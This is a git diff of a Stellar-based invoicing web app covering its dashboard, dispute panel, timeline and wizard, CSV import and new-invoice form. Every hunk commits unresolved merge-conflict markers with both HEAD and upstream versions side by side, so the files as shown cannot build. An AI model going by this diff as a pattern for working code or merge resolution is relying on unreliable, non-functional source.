upstream/main }, [searchValue]); // ── Derived data ──────────────────────────────────────────────────────────── +<<<<<<< HEAD + const presetCounts = useMemo( + () => getDashboardPresetCounts(invoices, Math.floor(Date.now() / 1000), splitMetaMap), + [invoices, splitMetaMap], + ); + + const visibleInvoices = useMemo(() => { + const now = Math.floor(Date.now() / 1000); + // 1. preset chips (multi-select); if none selected show all + let result = + presetFilters.length === 0 + ? invoices + : invoices.filter((inv) => + presetFilters.some( + (s) => filterDashboardInvoices([inv], s, now, splitMetaMap).length > 0, + ), + ); + // 2. lifecycle display-status chips + result = result.filter((inv) => matchesStatusFilter(inv, selectedStatuses, now)); + // 3. date range + result = filterByDateRange(result, dateFrom, dateTo); + // 4. tag + if (tag) { + result = result.filter((inv) => invoiceHasTag(tagsByInvoice[inv.id] ?? [], tag)); + } + // 5. sort + result = sortInvoices(result, sort); + return result; + }, [invoices, presetFilters, selectedStatuses, dateFrom, dateTo, sort, tag, tagsByInvoice, splitMetaMap]); + + const { totalActive, totalValueLocked, totalReleased } = useMemo(() => { + const now = Math.floor(Date.now() / 1000); + let tvl = 0n, + released = 0n, + active = 0; +======= const presetCounts = useMemo(() => getDashboardPresetCounts(invoices), [invoices]); const visibleInvoices = useMemo(() => { @@ -374,6 +503,7 @@ export default function DashboardClient() { const { totalActive, totalValueLocked, totalReleased } = useMemo(() => { const now = Math.floor(Date.now() / 1000); let tvl = 0n, released = 0n, active = 0; +>>>>>>> upstream/main for (const inv of invoices) { const total = inv.recipients.reduce((s, r) => s + r.amount, 0n); if (inv.status === "Pending") { @@ -389,6 +519,22 @@ export default function DashboardClient() { const pendingInvoices = invoices.filter((inv) => inv.status === "Pending"); const selectedInvoices = invoices.filter((inv) => selected.has(inv.id)); +<<<<<<< HEAD + // ── Selection handlers ───────────────────────────────────────────────────── + + const toggleSelect = (id: string) => { + setSelected((prev) => { + const next = new Set(prev); + if (next.has(id)) next.delete(id); + else next.add(id); + return next; + }); + }; + const exitMultiSelect = () => { + setMultiSelect(false); + setSelected(new Set()); + }; +======= const toggleSelect = (id: string) => { setSelected((prev) => { const next = new Set(prev); @@ -397,11 +543,17 @@ export default function DashboardClient() { }); }; const exitMultiSelect = () => { setMultiSelect(false); setSelected(new Set()); }; +>>>>>>> upstream/main const toggleReminderSelect = (id: string) => { setReminderSelected((prev) => { const next = new Set(prev); +<<<<<<< HEAD + if (next.has(id)) next.delete(id); + else next.add(id); +======= next.has(id) ? next.delete(id) : next.add(id); +>>>>>>> upstream/main return next; }); }; @@ -413,6 +565,12 @@ export default function DashboardClient() { setBulkReminderResults(null); }; +<<<<<<< HEAD + const toggleCompareSelect = (id: string) => { + setCompareSelected((prev) => { + if (prev.size >= 2 && !prev.has(id)) { + return prev; // Max 2 invoices +======= // Stable reference so memoized InvoiceCards in compare mode don't all // re-render just because this handler would otherwise be a fresh closure // on every DashboardClient render. @@ -420,13 +578,18 @@ export default function DashboardClient() { setCompareSelected((prev) => { if (prev.size >= 10 && !prev.has(id)) { return prev; +>>>>>>> upstream/main } const next = new Set(prev); if (next.has(id)) next.delete(id); else next.add(id); return next; }); +<<<<<<< HEAD + }; +======= }, []); +>>>>>>> upstream/main const exitCompareMode = () => { setCompareMode(false); @@ -434,9 +597,15 @@ export default function DashboardClient() { }; const handleCompare = () => { +<<<<<<< HEAD + if (compareSelected.size === 2) { + const [id1, id2] = Array.from(compareSelected); + router.push(`/invoice/compare?a=${id1}&b=${id2}`); +======= if (compareSelected.size >= 2 && compareSelected.size <= 10) { const query = new URLSearchParams({ ids: Array.from(compareSelected).join(",") }); router.push(`/invoice/compare?${query.toString()}`); +>>>>>>> upstream/main } }; @@ -455,7 +624,15 @@ export default function DashboardClient() { // ── Error state ───────────────────────────────────────────────────────────── if (error) { +<<<<<<< HEAD + return ( +
+

{error}

+
+ ); +======= return

{error}

; +>>>>>>> upstream/main } // ── Filter / sort controls (shared between sticky bar and drawer) ────────── @@ -467,13 +644,21 @@ export default function DashboardClient() {

Status

{DASHBOARD_PRESETS.map((preset) => { +<<<<<<< HEAD + const active = presetFilters.includes(preset.id); +======= const active = statuses.includes(preset.id); +>>>>>>> upstream/main const count = presetCounts[preset.id] ?? 0; return (
{/* Date range */} +<<<<<<< HEAD + +
+
+ +=======
+>>>>>>> upstream/main
+<<<<<<< HEAD + +======= +>>>>>>> upstream/main
+<<<<<<< HEAD + +
+ + +
+
+ + {/* Tag */} +
+ + +======= +>>>>>>> upstream/main
{/* Sort */}
+<<<<<<< HEAD + +======= +>>>>>>> upstream/main
+<<<<<<< HEAD + {/* Saved presets */} +
+

Presets

+ +
+ +======= +>>>>>>> upstream/main {/* Clear */} {isFiltered && ( + @@ -632,17 +903,33 @@ export default function DashboardClient() { )} {reminderSelect && ( <> +<<<<<<< HEAD + + )} +<<<<<<< HEAD +======= +>>>>>>> upstream/main {compareMode && ( <> )} @@ -741,6 +1036,26 @@ export default function DashboardClient() { aria-controls="filter-drawer" > + Filters{" "} + {isFiltered && ( + on + )} + +
+ {drawerOpen && ( +
+======= Filters {isFiltered && on} @@ -753,6 +1068,7 @@ export default function DashboardClient() {
{drawerOpen && (
+>>>>>>> upstream/main {filterControls}
)} @@ -770,6 +1086,27 @@ export default function DashboardClient() { {/* Invoice count */} {!loading && invoices.length > 0 && (

+<<<<<<< HEAD + Showing {visibleInvoices.length} of {invoices.length} invoice + {invoices.length !== 1 ? "s" : ""} +

+ )} + + {/* Selection mode messages */} + {multiSelect && ( +

+ Select pending invoices to pay in a single transaction. +

+ )} + {reminderSelect && ( +

+ Select invoices to schedule a reminder for. +

+ )} + {compareMode && ( +

+ Select up to 2 invoices to compare side-by-side. +======= Showing {visibleInvoices.length} of {invoices.length} invoice{invoices.length !== 1 ? "s" : ""}

)} @@ -782,6 +1119,7 @@ export default function DashboardClient() { {compareMode && (

Select 2–10 invoices to compare against a baseline. +>>>>>>> upstream/main

)} @@ -794,13 +1132,29 @@ export default function DashboardClient() {
    {bulkReminderResults.map((r) => (
  • +<<<<<<< HEAD + + {r.success ? "✓" : "✗"} + +======= {r.success ? "✓" : "✗"} +>>>>>>> upstream/main Invoice #{r.invoiceId} {!r.success && r.error && {r.error}}
  • ))}
+<<<<<<< HEAD + +======= +>>>>>>> upstream/main
)} @@ -812,22 +1166,53 @@ export default function DashboardClient() { ))}
) : invoices.length === 0 ? ( +<<<<<<< HEAD +
+

+ No invoices yet +

+

+ Create your first invoice to start receiving payments on-chain. +

+ +=======

No invoices yet

Create your first invoice to start receiving payments on-chain.

+>>>>>>> upstream/main + Create your first invoice
) : visibleInvoices.length === 0 ? (
+<<<<<<< HEAD +

+ {presetFilters.length === 1 + ? DASHBOARD_PRESETS.find((preset) => preset.id === presetFilters[0])?.emptyState ?? + "No invoices match this view." + : searchValue.trim() + ? "No invoices match your search." + : "No invoices match the current filters."} +

+=======

No invoices match the current filters.

+>>>>>>> upstream/main
) : ( viewMode === "table" && !multiSelect && !reminderSelect && !compareMode ? ( [inv.id, getOrAssignDisplayNumber(inv.id)]) + )} +======= displayNumbers={tableDisplayNumbers} +>>>>>>> upstream/main tagsByInvoice={tagsByInvoice} rowAction={(inv) => ( ); @@ -878,6 +1266,7 @@ export default function DashboardClient() { } return ( {card} +>>>>>>> upstream/main
{isMultiSelectable ? (
) : ( @@ -1028,24 +1421,55 @@ export default function DashboardClient() { /> )} +<<<<<<< HEAD +======= +>>>>>>> upstream/main {/* Batch Pay Modal */} {showBatchModal && publicKey && selectedInvoices.length > 0 && ( { + setShowBatchModal(false); + exitMultiSelect(); + }} +======= onClose={() => { setShowBatchModal(false); exitMultiSelect(); }} +>>>>>>> upstream/main /> )} {/* Reminder Picker Modal */} {showReminderPicker && ( +<<<<<<< HEAD +
+
+

Schedule Reminders

+

+ Applies to {reminderSelected.size} selected invoice + {reminderSelected.size !== 1 ? "s" : ""}. +

+ +=======

Schedule Reminders

Applies to {reminderSelected.size} selected invoice{reminderSelected.size !== 1 ? "s" : ""}.

+>>>>>>> upstream/main
+<<<<<<< HEAD + +
diff --git a/src/components/DisputePanel.tsx b/src/components/DisputePanel.tsx index 1eafbd01..00f9939f 100644 --- a/src/components/DisputePanel.tsx +++ b/src/components/DisputePanel.tsx @@ -6,6 +6,28 @@ import { truncateAddress } from "@stellar-split/sdk"; import { uploadToIpfs } from "@/lib/ipfs"; import { getSplitClient } from "@/lib/stellar"; import ArbitratorPicker from "@/components/ArbitratorPicker"; +<<<<<<< HEAD + +interface DisputeMetadata { + reason: string; + description: string; + initiator: string; + timestamp: number; + arbitrators: string[]; + evidenceLinks: Array<{ cid: string; timestamp: number; submitter: string; filename: string }>; +} + +interface DisputeVoteTally { + releaseVotes: number; + refundVotes: number; + votedArbitrators: string[]; +} + +interface DisputeStatus extends DisputeMetadata, DisputeVoteTally { + resolved: boolean; + outcome?: "Release" | "Refund"; +} +======= import { type DisputeRecord, type DisputeState, @@ -13,6 +35,7 @@ import { isVotingComplete, canEnforceResolution, } from "@/lib/arbitrators"; +>>>>>>> upstream/main interface Props { invoice: Invoice; @@ -46,13 +69,25 @@ export default function DisputePanel({ invoice, publicKey, onRefresh }: Props) { const [uploadError, setUploadError] = useState(null); const [voting, setVoting] = useState(false); const [voteError, setVoteError] = useState(null); +<<<<<<< HEAD +======= const [enforcing, setEnforcing] = useState(false); const [enforceError, setEnforceError] = useState(null); +>>>>>>> upstream/main // Only render for Disputed invoices if ((invoice.status as string) !== "Disputed") return null; // Access dispute data from extended invoice type +<<<<<<< HEAD + const dispute = (invoice as Invoice & { disputeStatus?: DisputeStatus }).disputeStatus; + if (!dispute) return null; + + const isArbitrator = dispute.arbitrators.includes(publicKey); + const hasVoted = dispute.votedArbitrators.includes(publicKey); + + const handleVote = async (voteType: "Release" | "Refund") => { +======= const dispute = (invoice as Invoice & { disputeRecord?: DisputeRecord }).disputeRecord; if (!dispute) return null; @@ -62,6 +97,7 @@ export default function DisputePanel({ invoice, publicKey, onRefresh }: Props) { const canEnforce = canEnforceResolution(dispute); const handleVote = async (voteType: DisputeOutcome) => { +>>>>>>> upstream/main if (!isArbitrator || hasVoted) return; setVoteError(null); @@ -75,19 +111,35 @@ export default function DisputePanel({ invoice, publicKey, onRefresh }: Props) { vote: voteType === "Release" ? 1 : 0, }); +<<<<<<< HEAD + // Show success toast + if (typeof window !== "undefined" && (window as any).__toastContainer?.addToast) { + (window as any).__toastContainer.addToast(`Vote "${voteType}" submitted successfully`, "success"); + } +======= notify(`Vote "${voteType}" submitted successfully`, "success"); +>>>>>>> upstream/main // Refresh invoice data if (onRefresh) await onRefresh(); } catch (err) { +<<<<<<< HEAD + setVoteError(err instanceof Error ? err.message : String(err)); +======= const message = err instanceof Error ? err.message : String(err); setVoteError(message); notify(`Failed to submit vote: ${message}`, "error"); +>>>>>>> upstream/main } finally { setVoting(false); } }; +<<<<<<< HEAD + const totalVotes = dispute.releaseVotes + dispute.refundVotes; + const releasePercent = totalVotes > 0 ? (dispute.releaseVotes / totalVotes) * 100 : 0; + const refundPercent = totalVotes > 0 ? (dispute.refundVotes / totalVotes) * 100 : 0; +======= const handleEnforce = async () => { if (!canEnforce) return; @@ -121,6 +173,7 @@ export default function DisputePanel({ invoice, publicKey, onRefresh }: Props) { const totalVotes = releaseVotes + refundVotes; const releasePercent = totalVotes > 0 ? (releaseVotes / totalVotes) * 100 : 0; const refundPercent = totalVotes > 0 ? (refundVotes / totalVotes) * 100 : 0; +>>>>>>> upstream/main return ( <> @@ -137,6 +190,202 @@ export default function DisputePanel({ invoice, publicKey, onRefresh }: Props) { This invoice is under arbitration review

+<<<<<<< HEAD + {dispute.resolved && ( + + {dispute.outcome === "Release" ? "✓ Approved" : "↩️ Refunded"} + + )} +
+ + {/* Dispute Metadata */} +
+
+

Reason

+

{dispute.reason}

+
+
+

Initiated By

+

{truncateAddress(dispute.initiator)}

+
+
+

Date Filed

+

+ {new Date(dispute.timestamp * 1000).toLocaleString()} +

+
+
+

Arbitrators

+

{dispute.arbitrators.length} assigned

+
+
+ + {/* Description */} + {dispute.description && ( +
+

Description

+

{dispute.description}

+
+ )} + + {/* Vote Tally */} +
+
+

Live Vote Tally

+ + {totalVotes} of {dispute.arbitrators.length} votes cast + +
+ +
+ {/* Release Votes */} +
+
+ ✓ Approve Release + {dispute.releaseVotes} +
+
+
+
+
+ + {/* Refund Votes */} +
+
+ ↩️ Reject / Refund + {dispute.refundVotes} +
+
+
+
+
+
+
+ + {/* Arbitrator Actions */} + {isArbitrator && !dispute.resolved && ( +
+
+ ⚖️ +

+ Arbitrator Actions +

+
+ + {hasVoted ? ( +

+ ✓ You have already cast your vote on this dispute. +

+ ) : ( + <> +

+ As an assigned arbitrator, you can vote to approve release of funds or reject and refund. +

+
+ + +
+ {voteError && ( +

+ {voteError} +

+ )} + + )} +
+ )} + + {/* Evidence Section */} +
+
+

Evidence Submitted

+ +
+ + {dispute.evidenceLinks.length === 0 ? ( +

+ No evidence submitted yet +

+ ) : ( +
+ {dispute.evidenceLinks.map((evidence, idx) => ( +
+
+

+ 📎 {evidence.filename} +

+

+ Submitted by {truncateAddress(evidence.submitter)} •{" "} + {new Date(evidence.timestamp * 1000).toLocaleDateString()} +

+
+ + View + +
+ ))} +
+ )} +
+ + {/* Arbitrators List */} + ({ + address, + name: truncateAddress(address), + resolvedDisputeCount: null, + }))} + selectedAddress="" + onSelect={() => {}} + disabled={true} + showVoteStatus={true} + votedArbitrators={dispute.votedArbitrators} + /> + + +=======
{STATE_LABELS[dispute.state]} @@ -389,6 +638,7 @@ export default function DisputePanel({ invoice, publicKey, onRefresh }: Props) { /> +>>>>>>> upstream/main {/* Evidence Upload Modal */} {showEvidenceModal && ( >>>>>> upstream/main } finally { setUploading(false); } diff --git a/src/components/DisputeTimeline.tsx b/src/components/DisputeTimeline.tsx index 2ad22400..f893cb42 100644 --- a/src/components/DisputeTimeline.tsx +++ b/src/components/DisputeTimeline.tsx @@ -5,6 +5,9 @@ import { splitClient } from "@/lib/stellar"; import { truncateAddress } from "@stellar-split/sdk"; interface DisputeEvent { +<<<<<<< HEAD + type: "DisputeOpened" | "EvidenceSubmitted" | "VoteCast" | "DisputeResolved"; +======= type: | "DisputeOpened" | "EvidenceSubmitted" @@ -12,6 +15,7 @@ interface DisputeEvent { | "VoteCast" | "DisputeResolved" | "ResolutionEnforced"; +>>>>>>> upstream/main timestamp: number; actor: string; metadata?: { @@ -20,8 +24,11 @@ interface DisputeEvent { filename?: string; vote?: "Release" | "Refund"; outcome?: "Release" | "Refund"; +<<<<<<< HEAD +======= arbitrator?: string; enforcementTxHash?: string; +>>>>>>> upstream/main }; } @@ -32,8 +39,11 @@ interface DisputeStatus { outcome?: "Release" | "Refund"; reason?: string; initiator?: string; +<<<<<<< HEAD +======= enforced?: boolean; enforcementTxHash?: string; +>>>>>>> upstream/main } interface Props { @@ -61,6 +71,13 @@ export default function DisputeTimeline({ invoiceId, disputeStatus }: Props) { useEffect(() => { const loadEvents = async () => { try { +<<<<<<< HEAD + // Fetch dispute events from the audit log or contract events + const log = await (splitClient as any).getDisputeEvents?.(invoiceId); + if (log && Array.isArray(log)) { + // Sort events chronologically + const sorted = log.sort((a: DisputeEvent, b: DisputeEvent) => a.timestamp - b.timestamp); +======= // Prefer the persisted dispute record's append-only timeline. const record = await (splitClient as any).getDisputeRecord?.(invoiceId); if (record && Array.isArray(record.timeline)) { @@ -77,6 +94,7 @@ export default function DisputeTimeline({ invoiceId, disputeStatus }: Props) { const sorted = [...log].sort( (a: DisputeEvent, b: DisputeEvent) => a.timestamp - b.timestamp, ); +>>>>>>> upstream/main setEvents(sorted); } } catch (err) { @@ -184,6 +202,8 @@ export default function DisputeTimeline({ invoiceId, disputeStatus }: Props) {
)} +<<<<<<< HEAD +======= {event.type === "ArbitratorSelected" && (

@@ -197,6 +217,7 @@ export default function DisputeTimeline({ invoiceId, disputeStatus }: Props) {

)} +>>>>>>> upstream/main {event.type === "VoteCast" && event.metadata?.vote && (
)} +<<<<<<< HEAD +======= {event.type === "ResolutionEnforced" && (
@@ -258,6 +281,7 @@ export default function DisputeTimeline({ invoiceId, disputeStatus }: Props) {
)} +>>>>>>> upstream/main
); @@ -274,14 +298,20 @@ function getEventIcon(type: DisputeEvent["type"]): string { return "⚠️"; case "EvidenceSubmitted": return "📎"; +<<<<<<< HEAD +======= case "ArbitratorSelected": return "🧑‍⚖️"; +>>>>>>> upstream/main case "VoteCast": return "⚖️"; case "DisputeResolved": return "✓"; +<<<<<<< HEAD +======= case "ResolutionEnforced": return "🔒"; +>>>>>>> upstream/main default: return "•"; } @@ -293,14 +323,20 @@ function getEventColor(type: DisputeEvent["type"]): string { return "border-red-500 bg-red-500 text-white"; case "EvidenceSubmitted": return "border-blue-500 bg-blue-500 text-white"; +<<<<<<< HEAD +======= case "ArbitratorSelected": return "border-purple-500 bg-purple-500 text-white"; +>>>>>>> upstream/main case "VoteCast": return "border-indigo-500 bg-indigo-500 text-white"; case "DisputeResolved": return "border-green-500 bg-green-500 text-white"; +<<<<<<< HEAD +======= case "ResolutionEnforced": return "border-emerald-500 bg-emerald-500 text-white"; +>>>>>>> upstream/main default: return "border-gray-600 bg-gray-900 text-gray-400"; } @@ -312,14 +348,20 @@ function getEventTitle(type: DisputeEvent["type"]): string { return "Dispute Opened"; case "EvidenceSubmitted": return "Evidence Submitted"; +<<<<<<< HEAD +======= case "ArbitratorSelected": return "Arbitrator Selected"; +>>>>>>> upstream/main case "VoteCast": return "Vote Cast"; case "DisputeResolved": return "Dispute Resolved"; +<<<<<<< HEAD +======= case "ResolutionEnforced": return "Resolution Enforced"; +>>>>>>> upstream/main default: return "Event"; } diff --git a/src/components/DisputeWizard.tsx b/src/components/DisputeWizard.tsx index abdb320d..fff61c53 100644 --- a/src/components/DisputeWizard.tsx +++ b/src/components/DisputeWizard.tsx @@ -3,9 +3,12 @@ import { useState } from "react"; import { searchArbitrators, getArbitrators } from "@/lib/arbitrators"; import type { Arbitrator } from "@/lib/arbitrators"; +<<<<<<< HEAD +======= import { createDispute } from "@/lib/disputes"; import type { DisputeRecord } from "@/lib/disputes"; import { notifyDisputeOpened } from "@/lib/disputeNotifications"; +>>>>>>> upstream/main const DISPUTE_REASONS = [ "Non-delivery", @@ -20,8 +23,11 @@ interface Props { invoiceId: string; onSubmit: (reason: string, description: string, arbitratorAddress?: string) => Promise; onClose: () => void; +<<<<<<< HEAD +======= /** Called after a dispute is successfully created so the invoice can be refreshed. */ onCreated?: (dispute: DisputeRecord) => void; +>>>>>>> upstream/main } /** @@ -69,7 +75,11 @@ function StepIndicator({ current, total }: { current: number; total: number }) { * DisputeWizard — multi-step modal form for filing an on-chain dispute. * Guides the user through: reason → description → arbitrator → confirmation. */ +<<<<<<< HEAD +export default function DisputeWizard({ invoiceId, onSubmit, onClose }: Props) { +======= export default function DisputeWizard({ invoiceId, onSubmit, onClose, onCreated }: Props) { +>>>>>>> upstream/main const [step, setStep] = useState(1); const [reason, setReason] = useState(""); const [description, setDescription] = useState(""); @@ -77,7 +87,10 @@ export default function DisputeWizard({ invoiceId, onSubmit, onClose, onCreated const [arbitratorSearch, setArbitratorSearch] = useState(""); const [manualArbitrator, setManualArbitrator] = useState(""); const [useManualEntry, setUseManualEntry] = useState(false); +<<<<<<< HEAD +======= const [evidenceNote, setEvidenceNote] = useState(""); +>>>>>>> upstream/main const [submitting, setSubmitting] = useState(false); const [error, setError] = useState(null); @@ -100,6 +113,11 @@ export default function DisputeWizard({ invoiceId, onSubmit, onClose, onCreated const handleConfirm = async () => { setError(null); +<<<<<<< HEAD + setSubmitting(true); + try { + await onSubmit(reason, description, effectiveArbitrator || undefined); +======= if (!reason) { setError("Please select a dispute reason."); @@ -123,6 +141,7 @@ export default function DisputeWizard({ invoiceId, onSubmit, onClose, onCreated await onSubmit(reason, description, effectiveArbitrator || undefined); notifyDisputeOpened(dispute); onCreated?.(dispute); +>>>>>>> upstream/main onClose(); } catch (err) { setError(String(err)); @@ -296,6 +315,8 @@ export default function DisputeWizard({ invoiceId, onSubmit, onClose, onCreated
)}
+<<<<<<< HEAD +=======

Evidence (optional)

+ {row.recipient_address || ( + + (empty) + + )} + + {row.amount} + + {row.deadline_days} + + {row.token} + updateParsedField(idx, "recipient_address", event.target.value)} className="w-44 rounded border border-gray-300 px-2 py-1 font-mono text-xs" /> updateParsedField(idx, "amount", event.target.value)} className="w-24 rounded border border-gray-300 px-2 py-1" /> updateParsedField(idx, "deadline_days", event.target.value)} className="w-20 rounded border border-gray-300 px-2 py-1" /> updateParsedField(idx, "token", event.target.value)} className="w-20 rounded border border-gray-300 px-2 py-1" /> diff --git a/src/app/invoice/new/page.tsx b/src/app/invoice/new/page.tsx index f8c51275..d23c223e 100644 --- a/src/app/invoice/new/page.tsx +++ b/src/app/invoice/new/page.tsx @@ -1,7 +1,11 @@ "use client"; +<<<<<<< HEAD +import { useState, useEffect, useCallback, useMemo, Suspense } from "react"; +======= import { useState, useEffect, useCallback, useMemo, useRef, Suspense } from "react"; import { useRegisterShortcuts } from "@/context/ShortcutRegistry"; +>>>>>>> upstream/main import { useRouter, useSearchParams, usePathname } from "next/navigation"; import dynamic from "next/dynamic"; import Stepper, { type Step } from "@/components/ui/Stepper"; @@ -19,7 +23,40 @@ import { useI18n } from "@/components/I18nProvider"; import DeadlineSuggester from "@/components/DeadlineSuggester"; import { validateDeadline } from "@/components/DuplicateModal"; import { decodeTemplate } from "@/lib/templateSharing"; +<<<<<<< HEAD +import type { ImportedTxData } from "@/lib/txImport"; +import { + generateRetroactiveInvoiceId, + saveRetroactiveInvoice, + type RetroactiveInvoice, +} from "@/lib/retroactiveInvoices"; +import { useOfflineDraftAutosave } from "@/hooks/useOfflineDraftAutosave"; +import { + getOrCreateLocalUserId, + listDraftsForUser, + type StoredDraft, +} from "@/lib/offlineDraftDB"; +import SplitCalculator from "@/components/SplitCalculator"; +import TagInput from "@/components/invoice/TagInput"; +import { useInvoiceTags } from "@/hooks/useInvoiceTags"; +import { + calculateSplit, + type SplitMeta, +} from "@/hooks/useSplitCalculator"; + +import InstallmentPlanBuilder, { type InstallmentMilestone as PlanMilestone } from "@/components/invoice/InstallmentPlanBuilder"; +import CoSignerSection from "@/components/invoice/CoSignerSection"; +import AmountDenominationInput from "@/components/AmountDenominationInput"; +import { useXlmUsdcRate } from "@/hooks/useXlmUsdcRate"; + +import { useInvoiceCollaboration } from "@/hooks/useInvoiceCollaboration"; +import CursorOverlay from "@/components/CursorOverlay"; +import PresencePill from "@/components/PresencePill"; +import ReconnectionBanner from "@/components/ReconnectionBanner"; + +======= import DraftCollaborationPanel from "@/components/DraftCollaborationPanel"; +>>>>>>> upstream/main const RecipientForm = dynamic(() => import("@/components/RecipientForm"), { ssr: false }); const TemplateManager = dynamic(() => import("@/components/TemplateManager"), { ssr: false }); @@ -56,7 +93,11 @@ function useToasts() { return { toasts, addToast }; } +<<<<<<< HEAD +const STEPS = ["Basic Info", "Recipients", "Options", "Review & Submit"]; +======= const STEPS = WIZARD_STEPS.map((s) => s.label); +>>>>>>> upstream/main /** Clamp an arbitrary `?step=` value onto a real step index. */ function parseStep(raw: string | null): number { @@ -128,8 +169,11 @@ function NewInvoiceForm() { const fromId = searchParams.get("from"); const deadlineParam = searchParams.get("deadline"); +<<<<<<< HEAD +======= const draftId = searchParams.get("draft") ?? fromId ?? "new-invoice-draft"; +>>>>>>> upstream/main const [cloneSourceId, setCloneSourceId] = useState(null); const [originalToken, setOriginalToken] = useState(null); const [originalRecipients, setOriginalRecipients] = useState(null); @@ -196,60 +240,39 @@ function NewInvoiceForm() { } }, [recipients, token, deadlineDays, tags, hasUserInteracted]); - const [equalSplit, setEqualSplit] = useState(false); - const [totalAmount, setTotalAmount] = useState(""); - - const draftSnapshot: DraftFormData = { +<<<<<<< HEAD + const draftSnapshot = { recipients, token, deadlineDays, recurring, intervalDays, - step, - equalSplit, - totalAmount, - tags, splitMeta, installments, - cosigners, - cosignerThreshold, }; - // Only autosave once the user has actually typed something, so an - // untouched form never shows up as a "recovered draft" on the next visit. - const { isOffline: draftOffline, lastSavedAt, discardDraft } = useOfflineDraftAutosave( + const { isOffline: draftOffline, discardDraft } = useOfflineDraftAutosave( draftUserId ?? "", - formMode === "create" && !cloneSourceId && hasUserInteracted ? draftId ?? "" : "", + formMode === "create" && !cloneSourceId ? draftId ?? "" : "", draftSnapshot ); const handleRestoreDraft = () => { if (!recoveredDraft) return; - const data = recoveredDraft.data; - setRecipients(data.recipients); - setToken(data.token); - setDeadlineDays(data.deadlineDays); - setRecurring(data.recurring); - setIntervalDays(data.intervalDays); - if (data.splitMeta) setSplitMeta(data.splitMeta); - if (data.equalSplit !== undefined) setEqualSplit(data.equalSplit); - if (data.totalAmount !== undefined) setTotalAmount(data.totalAmount); - if (data.tags) setTags(data.tags); - if (data.installments) setInstallments(data.installments); - if (data.cosigners) setCosigners(data.cosigners); - if (data.cosignerThreshold !== undefined) setCosignerThreshold(data.cosignerThreshold); + setRecipients(recoveredDraft.data.recipients); + setToken(recoveredDraft.data.token); + setDeadlineDays(recoveredDraft.data.deadlineDays); + setRecurring(recoveredDraft.data.recurring); + setIntervalDays(recoveredDraft.data.intervalDays); + if ((recoveredDraft.data as any).splitMeta) { + setSplitMeta((recoveredDraft.data as any).splitMeta); + } if (draftUserId) { import("@/lib/offlineDraftDB").then(({ deleteDraft }) => deleteDraft(draftUserId, recoveredDraft.draftId) ); } setRecoveredDraft(null); - setHasUserInteracted(true); - // Resume where the user left off; the review step is excluded so a - // restored draft is always re-checked before it can be submitted. - if (data.step !== undefined && data.step > 0 && data.step < REVIEW_STEP) { - goToStep(data.step); - } addToast("Draft restored", "success"); }; @@ -301,33 +324,35 @@ function NewInvoiceForm() { setTouchedFields((prev) => new Set([...prev, fieldName])); }; - /** - * Validate one field against the wizard rules, using `patch` for the value - * that just changed (state updates are not visible until the next render). - */ - const validateField = (fieldName: string, patch: Partial): string | null => { - const state = { ...wizardState, ...patch }; - if (patch.cloneDeadlineError === undefined && fieldName === "cloneDeadline") { - state.cloneDeadlineError = validateDeadline(cloneDeadlineIso); - } - for (let s = 0; s < REVIEW_STEP; s++) { - const error = validateWizardStep(s, state).fieldErrors[fieldName]; - if (error) return error; + const validateField = (fieldName: string, value: unknown): string | null => { + if (fieldName === 'token') { + const tokenValue = value as string; + if (!tokenValue || !tokenValue.startsWith('C')) { + return 'Valid token contract address (starting with C) is required'; + } + } else if (fieldName === 'deadlineDays') { + const days = value as number; + if (days < 1 || days > 365) { + return 'Deadline must be between 1 and 365 days'; + } + } else if (fieldName === 'cloneDeadline') { + const deadlineError = validateDeadline(value as string); + return deadlineError; } return null; }; - const handleFieldBlur = (fieldName: string, patch: Partial = {}) => { + const handleFieldBlur = (fieldName: string, value: unknown) => { markFieldTouched(fieldName); setHasUserInteracted(true); - const error = validateField(fieldName, patch); + const error = validateField(fieldName, value); setFieldErrors((prev) => ({ ...prev, [fieldName]: error })); }; - const handleFieldChange = (fieldName: string, patch: Partial) => { + const handleFieldChange = (fieldName: string, value: unknown) => { setHasUserInteracted(true); if (touchedFields.has(fieldName)) { - const error = validateField(fieldName, patch); + const error = validateField(fieldName, value); setFieldErrors((prev) => ({ ...prev, [fieldName]: error })); } }; @@ -407,6 +432,10 @@ function NewInvoiceForm() { const [publicKey, setPublicKey] = useState(null); const [error, setError] = useState(null); const [txModal, setTxModal] = useState<{ txHash: string; invoiceId: string } | null>(null); +======= +>>>>>>> upstream/main + const [equalSplit, setEqualSplit] = useState(false); + const [totalAmount, setTotalAmount] = useState(""); const [loading, setLoading] = useState(false); const [autofilled, setAutofilled] = useState(false); const [stepErrors, setStepErrors] = useState>({}); @@ -510,168 +539,547 @@ function NewInvoiceForm() { }); }, [fromId]); - const perRecipientAmount = - equalSplit && totalAmount && recipients.length > 0 - ? (parseFloat(totalAmount) / recipients.length).toFixed(7) - : undefined; - - const handleLoadTemplate = (template: { recipients: RecipientRow[]; token: string }) => { - setRecipients(template.recipients); - setToken(template.token); - }; - - const recipientsChanged = - !!originalRecipients && - JSON.stringify(recipients) !== JSON.stringify(originalRecipients); - - const tokenChanged = !!originalToken && token !== originalToken; - - /** - * Reason the split is not submittable, or null when it is. Drives both the - * disabled state and the tooltip on the create button so the user can see - * *why* it is blocked without first clicking it. - */ - const splitBlockReason = useMemo(() => { - if (!splitMeta || splitMeta.recipients.length === 0) return null; - const { validation } = calculateSplit( - splitMeta.totalAmount, - splitMeta.recipients, - splitMeta.assetCode - ); - return validation.isValid ? null : validation.errorMessage ?? "Split configuration is invalid"; - }, [splitMeta]); - - const wizardState: WizardState = { + const draftSnapshot: DraftFormData = { + recipients, token, deadlineDays, - isClone: !!cloneSourceId, - cloneDeadlineError: cloneSourceId ? validateDeadline(cloneDeadlineIso) : null, recurring, intervalDays, - recipients, + step, equalSplit, totalAmount, - splitError: splitBlockReason, + tags, + splitMeta, + installments, cosigners, cosignerThreshold, }; - /** - * Validate step `s`, surfacing the summary above the step and the - * per-field messages inline. Returns whether the step is valid. - */ - const validateStep = (s: number): boolean => { - const { valid, message, fieldErrors: errors } = validateWizardStep(s, wizardState); - setStepErrors((prev) => ({ ...prev, [s]: message })); - const fields = Object.keys(errors); - if (fields.length > 0) { - setTouchedFields((prev) => new Set([...prev, ...fields])); - setFieldErrors((prev) => ({ ...prev, ...errors })); - } - if (s === 0 && errors.cloneDeadline) setDeadlineError(errors.cloneDeadline); - return valid; - }; + // Only autosave once the user has actually typed something, so an + // untouched form never shows up as a "recovered draft" on the next visit. + const { isOffline: draftOffline, lastSavedAt, discardDraft } = useOfflineDraftAutosave( + draftUserId ?? "", + formMode === "create" && !cloneSourceId && hasUserInteracted ? draftId ?? "" : "", + 